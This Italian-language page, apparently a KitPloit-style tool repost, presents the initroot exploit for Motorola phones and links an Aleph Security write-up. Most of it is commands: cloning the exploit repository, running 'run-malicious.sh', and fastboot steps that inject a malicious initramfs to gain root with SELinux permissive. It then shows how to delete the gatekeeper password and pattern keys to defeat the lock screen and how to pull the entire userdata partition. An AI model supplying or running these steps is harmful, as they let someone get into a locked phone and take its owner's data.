Maggiori informazioni su: https://alephsecurity.com/2017/06/07/initroot-moto/

Se vuoi solo verificare se il tuo dispositivo è vulnerabile, potrebbe essere più rapido flashare il ramdisk stock (senza modifiche). Se è il tuo caso, cerca semplicemente initroot-*-STOCK*.cpio.gz.

Esecuzione e verifica dell'accesso root:

• Flashare e risolvere i bootloop:

  root@kitploit:~

  git clone https://github.com/leosol/initroot.git
  cd xt1040 (or any other folder)
  use ./run-malicious.sh, run-stockramfs.sh and solve-bootloop.sh (if you have any bootloop)
  Or use the following commands:
  fastboot flash aleph $FILE_NAME
  fastboot oem config fsg-id "a initrd=SCRATCH+PAD,LENGTH"
  fastboot continue
  #use the following to solve bootloops
  fastboot oem config fsg-id ""
  

• Verifica dei privilegi di root:

  root@kitploit:~

  root@debian-vaio:~/motoramfs/xt1040# adb devices
  List of devices attached
  * daemon not running. starting it now on port 5037 *
  * daemon started successfully *
  T0092020C5	device
  
  root@debian-vaio:~/motoramfs/xt1040# adb shell
  root@peregrine:/ # getenforce
  >Permissive
  

• Cosa posso fare con root?

  root@kitploit:~

  #rimuovi l'autenticazione come indicato da @kraftdenker (testato su xt1068)
  mv /data/system/gatekeeper.password.key /data/system/_gatekeeper.password.key
  mv /data/system/gatekeeper.pattern.key /data/system/_gatekeeper.pattern.key
  
  #scarica i tuoi dati
  adb pull /dev/block/platform/msm_sdcc.1/by-name/userdata
  
  #o rendilo permanente
